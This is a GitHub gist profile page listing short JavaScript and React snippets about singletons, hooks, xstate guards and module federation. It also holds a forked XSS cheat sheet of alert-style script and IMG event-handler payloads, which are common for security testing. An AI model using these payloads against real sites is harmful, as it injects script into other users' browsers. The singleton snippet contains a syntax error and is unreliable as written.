Skip to content

Instantly share code, notes, and snippets.

View Jordan-Gilliam's full-sized avatar
🎷
jazzascriptn

Nolansym Jordan-Gilliam

🎷
jazzascriptn
View GitHub Profile
@Jordan-Gilliam
Jordan-Gilliam / makeSingleton.js
Created February 4, 2020 05:16
Create a true singleton with es6 Proxies
function makeSingleton(func) {
let instance,
return new Proxy(func, {
construct: function (target, args) {
if (!instance) {
instance = new func();
}
return instance;
}
});
@Jordan-Gilliam
Jordan-Gilliam / useReducerCounter.js
Last active February 17, 2020 08:58
When you find yourself writing setSomething(something => ...), it’s a good time to consider using a reducer instead. .
// src: https://overreacted.io/a-complete-guide-to-useeffect/
// Optimized useReducer Counter
/*
“How is this any better?”
The answer is that React guarantees the dispatch function to be constant throughout the component lifetime.
So the example above doesn’t ever need to resubscribe the interval.
*/
/*
Explanation:
@Jordan-Gilliam
Jordan-Gilliam / doubleUseEffect.js
Last active February 17, 2020 09:23
a data fetching use case for useCallback
function SearchResults() {
// 🔴 Re-triggers all effects on every render
function getFetchUrl(query) {
return 'https://hn.algolia.com/api/v1/search?query=' + query;
}
useEffect(() => {
const url = getFetchUrl('react');
// ... Fetch data and do something ...
}, [getFetchUrl]); // 🚧 Deps are correct but they change too often
const not = fn => (...args) => !fn.apply(null, args);
const isZero = (extState, evtObj) => evtObj.key === 0;
const isNotZero = not(isZero);
const isMinus = (extState, evtObj) => evtObj.operator === '-';
const isNotMinus = not(isMinus);
const divideByZero = (extState, evtObj) =>
extState.operand2 === '0.' && extState.operator === '/';
const notDivideByZero = not(divideByZero);
const calcMachine = Machine({
id: 'calculator',
const not = fn => (...args) => !fn.apply(null, args);
const isZero = (context, event) => event.key === 0;
const isNotZero = not(isZero);
const isMinus = (context, event) => event.operator === "-";
const isNotMinus = not(isMinus);
const divideByZero = (context, event) =>
context.operand2 === "0." && context.operator === "/";
const notDivideByZero = not(divideByZero);
import React from "react";
import ComponentB from "mfe-b/Component"; // <- these are remote modules,
import ComponentC from "mfe-c/Component"; // <- but they are used as usual packages
import { de } from "date-fns/locale";
// remote modules can also be used with import() which lazy loads them as usual
const ComponentD = React.lazy(() => import("mfe-c/Component2"));
const App = () => (
<article>
import React from 'react';
import { FederatedProvider } from './federated-provider';
import { scopes } from './scopes';
// This is an example app on how you would setup your Nextjs app
const App = ({ Component }) => {
return (
<FederatedProvider scopes={scopes}>
<Component />
/* ________ RENDER "FACTORY" ________
-> lower level react methods allow more control over child rendering
-> cloneElement is necessary to ensure immutability
-> ugly but allows us to handle use-cases with one component or many
-> cloneElement ensures referential equality & immutability :)
-> ugly but allows us to handle use-cases with one child component or many
*/
let elements = React.Children.toArray(props.children);
if (elements.length === 1) {
@Jordan-Gilliam
Jordan-Gilliam / xss_vectors.txt
Created December 23, 2020 19:29 — forked from kurobeats/xss_vectors.txt
XSS Vectors Cheat Sheet
%253Cscript%253Ealert('XSS')%253C%252Fscript%253E
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
<IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
@Jordan-Gilliam
Jordan-Gilliam / package.json
Created October 19, 2021 18:47
Validates that the versions of tools specified in `engines` in the package.json are installed on the machine.
{
"name": "rocket-science-computer-validator",
"version": "1.0.0",
"description": "I use this to validate people's computers have the proper versions of node and npm installed for rocket-science",
"bin": "./validate-system.js",
"dependencies": {
"semver": "7.1.3"
}
}